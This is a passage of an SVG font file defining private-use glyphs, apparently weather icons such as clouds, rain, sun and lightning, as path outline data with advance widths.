-375 154h-33q-47 190 -181 312zM1645 1931q0 -38 26.5 -65t64.5 -27t63.5 26.5t25.5 65.5 v220q0 39 -25.5 65.5t-63.5 26.5t-64.5 -27t-26.5 -65v-220zM2240 1687q0 -39 25 -64q22 -25 58.5 -27.5t67.5 27.5l154 154q28 26 28 64t-28 64q-26 28 -64 28q-37 0 -62 -28l-154 -154q-25 -25 -25 -64zM2323 416q0 -37 27 -64l69 -67q29 -27 66 -27l2 -2q35 0 58 29 q28 26 28 64q0 37 -28 65l-66 66q-29 29 -65 29q-38 0 -64.5 -27.5t-26.5 -65.5zM2479 1096q0 -39 28 -63q25 -28 64 -28h220q38 0 65 26.5t27 64.5t-26.5 63.5t-65.5 25.5h-220q-39 0 -65.5 -25.5t-26.5 -63.5z" />
<glyph unicode="&#xf069;" horiz-adv-x="2883" d="M0 530q0 -179 106.5 -320t275.5 -188l-70 -181q-8 -23 15 -23h227l-152 -449h31l465 604q6 7 2 14.5t-15 7.5h-234l266 496q12 23 -15 23h-316q-15 0 -25 -16l-114 -307q-115 29 -190 123.5t-75 215.5q0 135 90 233t225 114l54 3q19 0 24 15l8 63q17 173 146.5 290.5 t305.5 117.5q174 0 305.5 -117.5t149.5 -290.5l8 -63q0 -18 19 -18h172q143 0 246 -102.5t103 -244.5q0 -139 -95.5 -241.5t-232.5 -109.5q-21 0 -21 -19v-143q0 -18 21 -18q141 4 258.5 76.5t185.5 193t68 261.5q0 117 -46 215q122 154 122 351q0 152 -75.5 281.5t-205 205 t-281.5 75.5q-115 0 -223.5 -48t-187.5 -133q-129 69 -290 69q-227 0 -402.5 -140.5t-224.5 -359.5q-177 -41 -292.5 -186t-115.5 -330zM841 -560q0 -27 17 -52.5t52 -35.5q14 -3 26 -3q69 0 85 65l14 63q10 41 -9 73t-56 39q-34 11 -67 -7.5t-44 -54.5l-14 -63 q-4 -18 -4 -24zM925 -250q0 -36 26 -62t62 -26q38 0 63 25t25 63q0 37 -25 62t-63 25t-63 -25t-25 -62zM991 -8q-2 -24 14.5 -50t48.5 -32q37 -10 68 6t44 60l28 96q11 35 -7.5 67t-56.5 43q-35 11 -68 -8.5t-44 -56.5l-24 -96q-3 -13 -3 -29zM1286 -237q0 -27 16 -51.5 t49 -34.5q5 0 15 -2t15 -2q65 0 81 70l15 64q11 34 -7.5 67t-54.5 44q-40 10 -72.5 -8.5t-43.5 -56.5l-10 -63q0 -2 -1.5 -12t-1.5 -15zM1365 78q0 -37 26 -61q24 -26 62 -26t63 25t25 62q0 38 -25 63t-63 25t-63 -25t-25 -63zM1475 1369q107 103 261 103 q157 0 267.5 -109.5t110.5 -266.5q0 -105 -50 -193q-154 154 -375 154h-33q-47 190 -181 312z" />
<glyph unicode="&#xf06a;" horiz-adv-x="2328" d="M0 529q0 -177 106 -316.5t275 -190.5l-69 -181q-7 -22 15 -22h226l-138 -446h30l451 600q6 7 2 14.5t-15 7.5h-232l264 495q11 23 -14 23h-316q-14 0 -24 -16l-114 -307q-114 29 -189.5 124.5t-75.5 214.5q0 133 90.5 231t224.5 114l56 8q21 0 21 19l8 54 q17 173 146.5 290t304.5 117q174 0 305 -117.5t149 -289.5l8 -61q0 -20 18 -20h173q145 0 248 -101.5t103 -243.5q0 -136 -96 -236t-235 -110q-20 0 -20 -20v-145q0 -19 20 -19q213 7 361.5 161.5t148.5 368.5q0 139 -70 261q122 118 161 280l20 73q1 1 1 7q0 13 -16 17 l-66 18q-92 27 -156 89.5t-90.5 130t-25.5 134.5q0 44 11 91l12 65q4 16 -15 25l-85 26q-75 15 -132 15q-59 1 -120.5 -12.5t-126.5 -43t-125.5 -84t-105.5 -128.5q-136 49 -254 49q-226 0 -401 -140.5t-225 -358.5q-177 -42 -292 -185.5t-115 -328.5zM841 -560 q0 -27 17 -52.5t52 -35.5q14 -3 26 -3q69 0 85 65l14 63q10 41 -9 73t-56 39q-34 11 -67 -7.5t-44 -54.5l-14 -63q-4 -18 -4 -24zM925 -250q0 -36 26 -62t62 -26q38 0 63 25t25 63q0 37 -25 62t-63 25t-63 -25t-25 -62zM991 -8q-2 -24 14.5 -50t48.5 -32q37 -10 68 6t44 60 l28 96q11 35 -7.5 67t-56.5 43q-35 11 -68 -8.5t-44 -56.5l-24 -96q-3 -13 -3 -29zM1286 -237q0 -27 16 -51.5t49 -34.5q5 0 15 -2t15 -2q65 0 81 70l15 64q11 34 -7.5 67t-54.5 44q-40 10 -72.5 -8.5t-43.5 -56.5l-10 -63q0 -2 -1.5 -12t-1.5 -15zM1365 78q0 -37 26 -61 q24 -26 62 -26t63 25t25 62q0 38 -25 63t-63 25t-63 -25t-25 -63zM1440 1395q53 89 143 137.5t188 48.5h23v-34q0 -102 36 -198t108.5 -177t171.5 -129q-27 -60 -81 -110q-146 125 -343 125h-35q-45 201 -211 337z" />
<glyph unicode="&#xf06b;" horiz-adv-x="2883" d="M0 530q0 -179 106.5 -320t275.5 -188l-70 -181q-8 -23 15 -23h227l-152 -449h31l465 604q6 7 2 14.5t-15 7.5h-234l266 496q12 23 -15 23h-316q-15 0 -25 -16l-114 -307q-115 29 -190 123.5t-75 215.5q0 135 90 233t225 114l54 3q19 0 24 15l8 63q17 173 146.5 290.5 t305.5 117.5q174 0 305.5 -117.5t149.5 -290.5l8 -63q0 -18 19 -18h172q143 0 246 -102.5t103 -244.5q0 -139 -95.5 -241.5t-232.5 -109.5q-21 0 -21 -19v-143q0 -18 21 -18q141 4 258.5 76.5t185.5 193t68 261.5q0 117 -46 215q122 154 122 351q0 152 -75.5 281.5t-205 205 t-281.5 75.5q-115 0 -223.5 -48t-187.5 -133q-129 69 -290 69q-227 0 -402.5 -140.5t-224.5 -359.5q-177 -41 -292.5 -186t-115.5 -330zM898 1841q0 -37 27 -64l69 -70q25 -25 59 -28q33 -5 65 24t32 68q0 37 -27 64l-67 70q-26 26 -64 26q-40 0 -67 -26t-27 -64zM1023 -118 q0 -39 26 -63q26 -26 62 -26q38 0 65 26t27 63q0 38 -27 65.5t-65 27.5q-35 0 -61.5 -27.5t-26.5 -65.5zM1023 270q0 -38 26 -62q26 -26 62 -26q39 0 65.5 25t26.5 63q0 37 -27 63.5t-65 26.5q-36 0 -62 -26.5t-26 -63.5zM1023 -510q0 -35 26 -61q27 -27 62 -27 q38 0 65 25.5t27 62.5q0 38 -27 65.5t-65 27.5q-35 0 -61.5 -27.5t-26.5 -65.5zM1368 89q0 -38 26.5 -64.5t63.5 -26.5t62.5 26.5t25.5 64.5q0 36 -25.5 62t-62.5 26t-63.5 -26t-26.5 -62zM1368 -299q0 -36 26 -62t64 -26t63 25.5t25 62.5q0 38 -25 63t-63 25t-64 -25 t-26 -63zM1475 1369q107 103 261 103q157 0 267.5 -109.5t110.5 -266.5q0 -105 -50 -193q-154 154 -375 154h-33q-47 190 -181 312zM1645 1931q0 -38 26.5 -65t64.5 -27t63.5 26.5t25.5 65.5v220q0 39 -25.5 65.5t-63.5 26.5t-64.5 -27t-26.5 -65v-220zM2240 1687 q0 -39 25 -64q22 -25 58.5 -27.5t67.5 27.5l154 154q28 26 28 64t-28 64q-26 28 -64 28q-37 0 -62 -28l-154 -154q-25 -25 -25 -64zM2323 416q0 -37 27 -64l69 -67q29 -27 66 -27l2 -2q35 0 58 29q28 26 28 64q0 37 -28 65l-66 66q-29 29 -65 29q-38 0 -64.5 -27.5 t-26.5 -65.5zM2479 1096q0 -39 28 -63q25 -28 64 -28h220q38 0 65 26.5t27 64.5t-26.5 63.5t-65.5 25.5h-220q-39 0 -65.5 -25.5t-26.5 -63.5z" />
<glyph unicode="&#xf06c;" horiz-adv-x="2298" d="M0 530q0 -179 106.5 -320t275.5 -188l-70 -181q-8 -23 15 -23h227l-152 -449h31l465 604q6 7 2 14.5t-15 7.5h-234l266 496q12 23 -15 23h-316q-15 0 -25 -16l-114 -307q-115 29 -190 123.5t-75 215.5q0 135 90 233t225 114l54 3q19 0 24 15l8 63q17 173 146.5 290.5 t305.5 117.5q174 0 305.5 -117.5t149.5 -290.5l8 -63q0 -18 19 -18h172q143 0 246 -102.5t103 -244.5q0 -139 -95.5 -241.5t-232.5 -109.5q-21 0 -21 -19v-143q0 -18 21 -18q141 4 258.5 76.5t185.5 193t68 261.5q0 117 -46 215q122 154 122 351q0 152 -75.5 281.5t-205 205 t-281.5 75.5q-115 0 -223.5 -48t-187.5 -133q-129 69 -290 69q-227 0 -402.5 -140.5t-224.5 -359.5q-177 -41 -292.5 -186t-115.5 -330zM1023 -118q0 -39 26 -63q26 -26 62 -26q38 0 65 26t27 63q0 38 -27 65.5t-65 27.5q-35 0 -61.5 -27.5t-26.5 -65.5zM1023 270 q0 -38 26 -62q26 -26 62 -26q39 0 65.5 25t26.5 63q0 37 -27 63.5t-65 26.5q-36 0 -62 -26.5t-26 -63.5zM1023 -510q0 -35 26 -61q27 -27 62 -27q38 0 65 25.5t27 62.5q0 38 -27 65.5t-65 27.5q-35 0 -61.5 -27.5t-26.5 -65.5zM1368 89q0 -38 26.5 -64.5t63.5 -26.5 t62.5 26.5t25.5 64.5q0 36 -25.5 62t-62.5 26t-63.5 -26t-26.5 -62zM1368 -299q0 -36 26 -62t64 -26t63 25.5t25 62.5q0 38 -25 63t-63 25t-64 -25t-26 -63zM1475 1369q107 103 261 103q157 0 267.5 -109.5t110.5 -266.5q0 -105 -50 -193q-154 154 -375 154h-33 q-47 190 -181 312z" />
<glyph unicode="&#xf06d;" horiz-adv-x="2328" d="M0 529q0 -177 106 -316.5t275 -190.5l-69 -181q-7 -22 15 -22h226l-138 -446h30l451 600q6 7 2 14.5t-15 7.5h-232l264 495q11 23 -14 23h-316q-14 0 -24 -16l-114 -307q-114 29 -189.5 124.5t-75.5 214.5q0 133 90.5 231t224.5 114l56 8q21 0 21 19l8 54 q17 173 146.5 290t304.5 117q174 0 305 -117.5t149 -289.5l8 -61q0 -20 18 -20h173q145 0 248 -101.5t103 -243.5q0 -136 -96 -236t-235 -110q-20 0 -20 -20v-145q0 -19 20 -19q213 7 361.5 161.5t148.5 368.5q0 139 -70 261q122 118 161 280l20 73q1 1 1 7q0 13 -16 17 l-66 18q-92 27 -156 89.5t-90.5 130t-25.5 134.5q0 44 11 91l12 65q4 16 -15 25l-85 26q-75 15 -132 15q-59 1 -120.5 -12.5t-126.5 -43t-125.5 -84t-105.5 -128.5q-136 49 -254 49q-226 0 -401 -140.5t-225 -358.5q-177 -42 -292 -185.5t-115 -328.5zM1023 -118 q0 -39 26 -63q26 -26 62 -26q38 0 65 26t27 63q0 38 -27 65.5t-65 27.5q-35 0 -61.5 -27.5t-26.5 -65.5zM1023 270q0 -38 26 -62q26 -26 62 -26q39 0 65.5 25t26.5 63q0 37 -27 63.5t-65 26.5q-36 0 -62 -26.5t-26 -63.5zM1023 -510q0 -35 26 -61q27 -27 62 -27 q38 0 65 25.5t27 62.5q0 38 -27 65.5t-65 27.5q-35 0 -61.5 -27.5t-26.5 -65.5zM1368 89q0 -38 26.5 -64.5t63.5 -26.5t62.5 26.5t25.5 64.5q0 36 -25.5 62t-62.5 26t-63.5 -26t-26.5 -62zM1368 -299q0 -36 26 -62t64 -26t63 25.5t25 62.5q0 38 -25 63t-63 25t-64 -25 t-26 -63zM1440 1395q53 89 143 137.5t188 48.5h23v-34q0 -102 36 -198t108.5 -177t171.5 -129q-27 -60 -81 -110q-146 125 -343 125h-35q-45 201 -211 337z" />
<glyph unicode="&#xf06e;" horiz-adv-x="2267" d="M0 771q0 39 27 66q28 26 64 26h218q37 0 61.5 -27t24.5 -65t-24.5 -64.5t-61.5 -26.5h-218q-37 0 -64 27t-27 64zM305 32q0 37 25 65l157 152q24 25 63 25q38 0 63.5 -24t25.5 -61q0 -39 -26 -68l-152 -152q-65 -51 -131 0q-25 27 -25 63zM305 1509q0 37 25 65 q31 26 68 26q35 0 63 -26l152 -157q26 -24 26 -63q0 -38 -25.5 -63.5t-63.5 -25.5q-39 0 -63 26l-157 152q-25 27 -25 66zM577 771q0 149 75 277.5t203.5 203.5t277.5 75q112 0 215 -44.5t177.5 -119t118.5 -177.5t44 -215q0 -150 -74.5 -278t-202.5 -202.5t-278 -74.5 t-278 74.5t-203 202.5t-75 278zM1042 -58q0 38 26.5 64t64.5 26q39 0 65 -26t26 -64v-212q0 -39 -26.5 -66t-64.5 -27t-64.5 27t-26.5 66v212zM1042 1595v218q0 37 27 64t64 27t64 -27t27 -64v-218q0 -37 -26.5 -61.5t-64.5 -24.5t-64.5 24.5t-26.5 61.5zM1053 1134 q139 -17 233.5 -123t94.5 -249q0 -133 -83.5 -234.5t-211.5 -129.5q32 -4 47 -4q156 0 266.5 110.5t110.5 266.5q0 154 -110.5 263t-266.5 109q-41 0 -80 -9zM1631 189q0 37 24 60q24 25 60 25q39 0 64 -25l156 -152q26 -28 26 -65t-26 -63q-64 -50 -128 0l-152 152 q-24 27 -24 68zM1631 1354q0 40 24 63l152 157q28 26 63 26q38 0 64.5 -27t26.5 -64q0 -40 -26 -66l-156 -152q-29 -26 -64 -26q-36 0 -60 25.5t-24 63.5zM1872 771q0 38 26 66q26 26 61 26h216q37 0 64.5 -27.5t27.5 -64.5t-27.5 -64t-64.5 -27h-216q-37 0 -62 26.5 t-25 64.5z" />
<glyph unicode="&#xf070;" horiz-adv-x="1110" d="M0 771q0 149 75 277.5t203 203.5t277 75q150 0 278 -75t203 -203t75 -278t-75 -278t-203 -202.5t-278 -74.5t-277.5 74.5t-202.5 202.5t-75 278zM475 1134q139 -17 233.5 -123t94.5 -249q0 -133 -83 -234.5t-211 -129.5q32 -4 46 -4q156 0 267 110.5t111 266.5 q0 154 -111 263t-267 109q-41 0 -80 -9z" />
<glyph unicode="&#xf071;" horiz-adv-x="1688" d="M0 239q0 21 1 31v9q0 3 0.5 6t0.5 5t0.5 5t0.5 4v2q0 5 2 12.5t2 9.5v3q0 2 0.5 5t0.5 4l9 39q0 1 1 2v2l4 15q1 1 1 2q1 2 1 3v3q6 20 11 30q0 1 2 3q1 2 5 16q27 61 67 115l6 8q1 1 3 4t3 4q1 2 7 6q1 3 4 6t4 6q6 4 7 8q2 1 7 6l7 8l811 889l-41 -235l727 778 l-446 -868l446 337l-404 -811l289 199l-499 -889q0 -1 -2 -4.5t-3 -5.5q-1 -1 -2 -4t-2 -5q-1 -1 -2.5 -5t-2.5 -5q-69 -134 -198 -215t-285 -81q-147 0 -272 73t-198 198t-73 272zM128 239q0 -172 121.5 -293.5t293.5 -121.5q131 0 237 75.5t150 196.5q27 68 27 143 q0 172 -121 293t-293 121q-160 0 -277 -107q-65 -57 -101.5 -137t-36.5 -170z" />
<glyph unicode="&#xf072;" horiz-adv-x="2317" d="M0 757q0 38 29 65q27 27 66 27h220q38 0 64.5 -27t26.5 -65q0 -40 -26.5 -67t-64.5 -27h-220q-40 0 -67.5 27t-27.5 67zM312 1505q0 37 26 66q30 27 70 27q34 0 63 -27l155 -158q27 -25 27 -64q0 -38 -26.5 -64.5t-63.5 -26.5q-41 0 -65 27l-160 154q-26 28 -26 66z M590 757q0 113 45.5 217.5t122 180t181.5 121t219 45.5q153 0 284 -76.5t207 -206.5t76 -281q0 -24 -3 -45q-45 27 -103 27q-39 0 -77 -16q1 11 1 34q0 156 -113 266.5t-272 110.5q-158 0 -270.5 -110.5t-112.5 -266.5v-19q-47 -3 -90 -27q-1 -1 -11 -8t-20 -14.5t-25 -20 t-28 -25.5q-11 51 -11 114zM593 367v16q-1 15 2 35q8 57 45 109q21 26 29 33q1 3 4 6l4 4q4 2 13 11q3 4 8.5 8t7.5 6q8 8 15 11l18 12q23 15 53 15h3q16 0 28 -3q5 -2 14 -7v-1q23 -10 36.5 -30.5t13.5 -44.5q0 -27 -15 -45q-10 -14 -24 -25q-3 -1 -6.5 -3t-4.5 -2l-6 -4 q-6 -5 -10.5 -9t-11.5 -11.5t-12 -14.5t-9.5 -16.5t-5.5 -18.5v-14v-2q6 -24 12 -38q11 -22 36 -47q2 -3 26 -27q138 -125 129 -267q-3 -48 -22.5 -92.5t-45.5 -75t-42 -45.5t-27 -22q-1 -1 -6 -4.5t-8 -4.5q-13 -6 -23 -7q-14 -2 -21 -2q-48 0 -76 32q-23 28 -19 63t35 57 l2 2q2 2 5 4.5t7.5 6.5t9 9t9 11t9 12.5t9 14.5t7.5 16t5 17.5t2 18.5q3 32 -16 64q-8 17 -24 35q-11 13 -16 17q-15 18 -16 19q-3 2 -7.5 6t-6.5 5q-24 22 -36 38q-20 25 -26 34q-31 42 -42 83q-7 23 -8 34q0 3 -2 8.5t-2 9.5zM1007 403q0 9 1 15q4 35 21 68.5t37.5 56.5 t40 40.5t33.5 26.5l13 8q24 15 53 15q18 0 32 -3q1 0 5.5 -2.5t6.5 -4.5q2 0 3 -1q1 0 8 -5q32 -19 40 -58q0 -3 0.5 -7t0.5 -5q0 -5 -2 -12.5t-2 -9.5q-11 -36 -45 -53q-53 -35 -56 -74q-1 -13 0 -23q4 -19 18 -42q18 -26 26 -34q25 -25 30 -29q20 -18 50 -54 q87 -104 79 -213q-3 -48 -22.5 -93t-45.5 -74.5t-43 -45.5t-27 -22l-13 -9q-17 -6 -22 -7q-18 -2 -21 -2h-3q-13 0 -20 2q-3 0 -8.5 1.5t-7.5 1.5q-1 0 -3 1t-4 2.5t-3 1.5q-24 17 -28 22q-25 29 -20 63.5t36 56.5l3 4q4 3 9.5 8.5l12.5 12.5t13.5 17t12.5 20.5t9.5 23.5 t4.5 26q2 64 -74 135q-30 27 -47 46q-89 105 -82 208zM1065 1593v221q0 39 27.5 66t65.5 27q39 0 66 -27t27 -66v-221q0 -38 -27 -63t-66 -25q-38 0 -65.5 25t-27.5 63zM1423 418q4 35 21 68.5t37.5 56.5t40 40.5t32.5 26.5l14 8q4 3 11 8q18 7 40 7q54 0 82 -41 q8 -11 11 -24q2 -4 2 -9v-12q0 -50 -48 -75q-51 -34 -56 -74q-6 -54 73 -128q140 -124 131 -267q-3 -48 -22.5 -92.5t-46 -75t-42 -45.5t-26.5 -22q-26 -16 -44 -17q-5 -1 -16 -1q-48 0 -74 32q-24 28 -20 63t34 57q5 2 19 15t30.5 41t18.5 56q3 64 -75 135q-66 58 -100 124 q-36 70 -27 145zM1667 1349q0 40 24 64l156 158q29 27 65 27q38 0 65.5 -27.5t27.5 -65.5q0 -40 -28 -66l-158 -154q-29 -27 -65 -27q-37 0 -62 26.5t-25 64.5zM1913 757q0 35 28 65q25 27 62 27h220q38 0 66.5 -27.5t28.5 -64.5q0 -39 -28 -66.5t-67 -27.5h-220 q-39 0 -64.5 27t-25.5 67z" />
<glyph unicode="&#xf073;" horiz-adv-x="842" d="M3 781v2q-1 13 0.5 39t10.5 86t26.5 123t54.5 144t87.5 154t133.5 148.5t185 132.5q25 14 52.5 6t40.5 -33q14 -25 6.5 -53t-32.5 -42q-210 -115 -323 -325q86 40 174 40q172 0 295 -122.5t123 -294.5q0 -13 -0.5 -25.5t-4.5 -55t-12 -82t-25 -99t-40.5 -113t-62 -117.5 t-86 -119.5t-115.5 -112t-148 -101.5q-15 -9 -33 -9q-41 0 -62 37q-14 25 -6 52.5t33 40.5q215 120 326 329q-87 -41 -182 -41q-111 0 -206.5 55t-152 150t-57.5 206zM184 786q0 -98 69 -167t166 -69q91 0 158.5 60.5t77.5 150.5l1 24q0 4 1 5q-1 96 -70.5 162.5 t-167.5 66.5q-89 0 -155.5 -58t-77.5 -145l-2 -27v-3z" />
<glyph unicode="&#xf074;" horiz-adv-x="1846" d="M0 1002q0 150 96.5 267t246.5 152q36 178 181.5 293.5t332.5 115.5q180 0 320.5 -110.5t183.5 -288.5h30q121 0 226 -52t167.5 -142.5t62.5 -196.5q0 -180 -138 -305q0 -56 -34.5 -128.5t-92.5 -131.5t-117 -72q-20 -99 -92 -167t-174 -91q48 -48 48 -113 q0 -79 -56 -134.5t-135 -55.5q-78 0 -134 55.5t-56 134.5q0 9 4.5 28t4.5 29h-9q-94 0 -161 67.5t-67 161.5q0 37 39 113q-78 41 -125 134h-133q-175 15 -297 138.5t-122 298.5z" />
<glyph unicode="&#xf075;" horiz-adv-x="1569" d="M118 673q-180 384 55 724q164 237 505 290q26 7 58 9h67q466 -14 683 -414q102 -189 51 -417q-41 -181 -137 -338q-207 -322 -427 -520q-12 -12 -32 -28q-74 -56 -136.5 -58t-139.5 48q-46 27 -79 63q-314 320 -468 641zM130 909q3 -17 10 -47t10 -43q45 -201 185 -312.5 t348 -131.5q46 -5 54.5 3.5t9.5 55.5q-2 13 -5 41.5t-6 41.5q-40 215 -203 313q-29 18 -66.5 36t-65 29t-73.5 28.5t-67 26.5q-25 10 -85 12q-55 0 -46 -53zM855 440q-4 -49 6.5 -59.5t58.5 -4.5q61 7 128 23q171 43 280 182q54 66 82.5 143t50.5 183q8 36 -3.5 49.5 t-46.5 8.5q-94 -16 -170 -43q-184 -69 -280 -185.5t-106 -296.5z" />
<glyph unicode="&#xf076;" horiz-adv-x="1609" d="M0 794q0 31 21 53t51 22q31 0 52 -22t21 -53q0 -30 -21.5 -51t-51.5 -21t-51 21.5t-21 50.5zM211 794q0 31 21 53t51 22h344l-243 243q-22 20 -22 50.5t22 52.5t52 22t52 -22l242 -242v342q0 31 22 53t53 22q30 0 51 -22t21 -53v-345l244 245q22 22 51.5 22t52.5 -22 q19 -22 19 -52.5t-19 -50.5l-243 -243h344q29 0 50.5 -22t21.5 -53q0 -29 -21.5 -50.5t-50.5 -21.5h-345l244 -244q19 -20 19 -50t-19 -52q-23 -22 -52.5 -22t-51.5 22l-244 245v-346q0 -31 -21 -52.5t-51 -21.5q-31 0 -53 21.5t-22 52.5v343l-242 -242q-22 -22 -52 -22 t-52 22t-22 52t22 50l245 244h-346q-30 0 -51 21.5t-21 50.5zM213 277.5q0 29.5 22 51.5q20 22 50.5 22t52.5 -22t22 -51.5t-22 -51.5t-52.5 -22t-50.5 22q-22 22 -22 51.5zM213 1313.5q0 29.5 22 51.5q20 22 50.5 22t52.5 -22t22 -51.5t-22 -52.5q-22 -22 -52.5 -22 t-50.5 22q-22 23 -22 52.5zM730 64q0 29 22 50.5t53 21.5q30 0 51 -21.5t21 -50.5q0 -31 -21 -52.5t-51 -21.5q-31 0 -53 21.5t-22 52.5zM730 1527q0 31 22 52.5t53 21.5q30 0 51 -21.5t21 -52.5q0 -29 -21 -50.5t-51 -21.5q-31 0 -53 21.5t-22 50.5zM1249 277.5 q0 29.5 22 51.5q20 22 50.5 22t52.5 -22t22 -51.5t-22 -51.5t-52.5 -22t-50.5 22q-22 22 -22 51.5zM1249 1313.5q0 29.5 22 51.5q20 22 50.5 22t52.5 -22t22 -51.5t-22 -52.5q-22 -22 -52.5 -22t-50.5 22q-22 23 -22 52.5zM1463 794q0 31 21.5 53t52.5 22q29 0 50.5 -22 t21.5 -53q0 -29 -21.5 -50.5t-50.5 -21.5q-31 0 -52.5 21.5t-21.5 50.5z" />
<glyph unicode="&#xf077;" horiz-adv-x="2054" d="M0 605q104 5 176 80.5t72 179.5q0 -104 72 -179.5t176 -80.5q-104 -5 -176 -80.5t-72 -179.5q0 104 -72 179.5t-176 80.5zM248 1373q202 10 342.5 156.5t140.5 349.5q0 -203 141 -349.5t343 -156.5q-133 -6 -244 -75.5t-175.5 -184t-64.5 -248.5q0 204 -140.5 351 t-342.5 157zM602 224q152 7 258 117.5t106 263.5q0 -153 105.5 -263.5t257.5 -117.5q-152 -7 -257.5 -117.5t-105.5 -263.5q0 153 -106 263.5t-258 117.5zM1329 730q152 7 257 117t105 264q0 -153 106 -263.5t258 -117.5q-152 -7 -258 -117t-106 -263q0 153 -105 263 t-257 117z" />
<glyph unicode="&#xf078;" horiz-adv-x="1110" d="M1 704q0 -147 74.5 -274.5t202.5 -203t276 -75.5q149 0 278 75.5t204.5 203t75.5 274.5q0 96 -56 228.5t-134 245.5q-71 91 -166.5 200.5t-138.5 151.5q-24 20 -63 59l-137 -138q-99 -96 -191 -222t-158.5 -271.5t-66.5 -253.5z" />
<glyph unicode="&#xf079;" horiz-adv-x="1562" d="M1 923q0 159 62 304t167 249t249.5 166t302.5 62q159 0 303.5 -62t249 -166.5t166.5 -249t62 -303.5q0 -259 -153.5 -462.5t-395.5 -278.5v-351h-452v347q-247 72 -404 278t-157 467zM173 923q0 -248 180 -426q178 -179 429 -179q165 0 305.5 81t222.5 220.5t82 303.5 q0 123 -48.5 235.5t-130.5 194t-195 130t-236 48.5t-235.5 -48.5t-194.5 -130t-130.5 -194t-48.5 -235.5zM235 885v77h231v-77h-231zM351 1262l56 55l162 -162l-55 -56zM621 736q0 67 46.5 116t113.5 51l291 479l70 -37l-215 -515q28 -40 28 -94q0 -70 -49 -118.5 t-119 -48.5q-69 0 -117.5 48.5t-48.5 118.5zM761 1234v231h74v-231h-74zM1074 886v79h231v-79h-231z" />
<glyph unicode="&#xf07a;" horiz-adv-x="1514" d="M-10 497q0 141 77 323.5t198 353.5q250 330 433 498l80 77q40 -42 88 -77q66 -67 201 -222.5t231 -282.5q114 -162 193 -346.5t79 -323.5q0 -160 -62 -305.5t-167.5 -251.5t-252.5 -168.5t-310 -62.5q-160 0 -305.5 60.5t-251.5 165t-168.5 251t-62.5 311.5zM231 810 q0 -133 56 -212t170 -79q115 0 171.5 78.5t57.5 212.5q-1 134 -57.5 213t-171.5 79q-114 0 -170 -79t-56 -213zM399 810q0 24 0.5 37t2 35t5 34.5t9.5 26t16.5 19.5t24.5 6q22 0 35 -13t18.5 -41t6.5 -48t1 -56t-1 -55.5t-6.5 -47.5t-18.5 -41t-35 -13q-14 0 -24.5 6 t-16.5 19.5t-9.5 26t-5 34.5t-2 34.5t-0.5 36.5zM461 -17h141l532 1146h-144zM920 302q2 -134 58.5 -213t170.5 -79q115 0 170.5 78.5t56.5 213.5q-1 134 -56.5 212.5t-170.5 78.5q-114 0 -170.5 -78.5t-58.5 -212.5zM1088 302q0 36 1 55.5t6.5 47.5t18.5 41t35 13 q15 0 25.5 -6t17 -20t10.5 -25.5t5 -34.5l1.5 -34.5t0.5 -36.5q0 -26 -0.5 -37.5l-1.5 -34.5t-5 -34.5t-10.5 -25.5t-17 -20t-25.5 -6q-22 0 -35 13t-18.5 41t-6.5 48t-1 56z" />
<glyph unicode="&#xf07b;" horiz-adv-x="1737" d="M1 387h207v388h2l219 -388h212v710h-207v-379h-2l-207 379h-224v-710zM697 370h152l278 744h-151zM1003 387h221l31 101h226l30 -101h227l-259 710h-214zM1303 641l68 218h3l64 -218h-135z" />
<glyph unicode="&#xf07c;" horiz-adv-x="1771" d="M-8 117q0 8 2 22v508q44 -79 123 -126.5t172 -47.5q94 0 172.5 47.5t122.5 126.5q44 -79 122.5 -126.5t172.5 -47.5q93 0 171.5 47.5t122.5 126.5q45 -79 123 -126.5t171 -47.5t172 47.5t123 126.5v-513q0 -3 0.5 -8.5t0.5 -8.5q0 -2 -0.5 -7.5t-0.5 -8.5q-5 -37 -32 -64 t-64 -32q-3 0 -8.5 -1t-8.5 -1q-2 0 -7.5 1t-8.5 1h-1511q-3 0 -8 -1t-8 -1t-8.5 1t-7.5 1q-36 5 -62 30t-34 60q-2 14 -2 22zM580 1299.5q0 25.5 18 44.5l236 237l3 2q1 0 1 1q1 0 1 1q1 0 1 1h1q1 0 1 1t1 2h2l1 1h1l1 1h1l1 1h1q1 1 2 1h1q0 1 2 1q1 1 2 1l4 2h1q1 0 1 1 h2h1h3h1l1 1h2h1h6h2h2q1 0 2 -1h2h1h3q0 -1 1 -1h1h1q2 -2 3 -2l2 -1h1h1l1 -1h1l1 -1q1 0 1 -1h2q1 0 1 -0.5t1 -0.5q1 -1 2 -1q0 -2 1 -2l1 -1h2l1 -1l1 -1l1 -1l2 -2l237 -237q19 -19 19 -44.5t-19 -43.5q-18 -19 -43.5 -19t-43.5 19l-131 130v-736q0 -25 -18 -43 t-44 -18t-44.5 18t-18.5 43v736l-130 -130q-19 -19 -44.5 -19t-43.5 19q-18 18 -18 43.5z" />
<glyph unicode="&#xf07d;" horiz-adv-x="2357" d="M0 939q0 148 92.5 265t233.5 149q41 176 181.5 289t321.5 113q176 0 314.5 -110.5t179.5 -282.5h28q176 0 300.5 -123.5t124.5 -299.5q0 -1 -0.5 -4t-0.5 -6q120 -128 120 -304q0 -121 -60.5 -224.5t-163 -163.5t-222.5 -60q-154 0 -273.5 95t-157.5 241h-609 q-171 7 -290 130.5t-119 295.5zM145 939q0 -112 77.5 -194.5t186.5 -87.5h605q6 4 12 4h104q5 0 9 -4h229q109 5 187 87.5t78 194.5q0 113 -84 195.5t-198 82.5h-138q-15 0 -15 15l-7 50q-14 139 -119 233.5t-243 94.5q-142 0 -246 -94t-118 -234l-6 -50q0 -15 -17 -15h-43 q-108 -12 -181 -91t-73 -187zM806 -22q-40 52 0 104l121 123q22 19 55 19q30 0 49 -19t19 -50q0 -32 -19 -51l-122 -126q-20 -20 -52 -20q-31 0 -51 20zM1168 513q34 -86 110.5 -139t170.5 -53q124 0 210.5 89t86.5 215q0 62 -20 112q-53 -98 -148.5 -159t-209.5 -65h-200z M1376 -40q0 30 21.5 50t51.5 20q29 0 53 -22q20 -20 20 -48v-175q0 -30 -21.5 -52t-51.5 -22t-51.5 22t-21.5 52v175zM1846 155q0 29 20.5 49t50.5 20q31 0 50 -19l126 -123q21 -23 21 -51q0 -30 -21.5 -51.5t-52.5 -21.5q-33 0 -53 20l-121 126q-20 23 -20 51zM1846 1095 q0 31 20 50l121 126q22 20 53 20q30 0 53 -20q21 -24 21 -54q0 -28 -21 -51l-126 -123q-20 -20 -50 -20t-50.5 20.5t-20.5 51.5zM2040 625q0 30 20 51t50 21h173q31 0 53 -21t22 -51q0 -31 -22 -52.5t-53 -21.5h-173q-30 0 -50 21.5t-20 52.5z" />
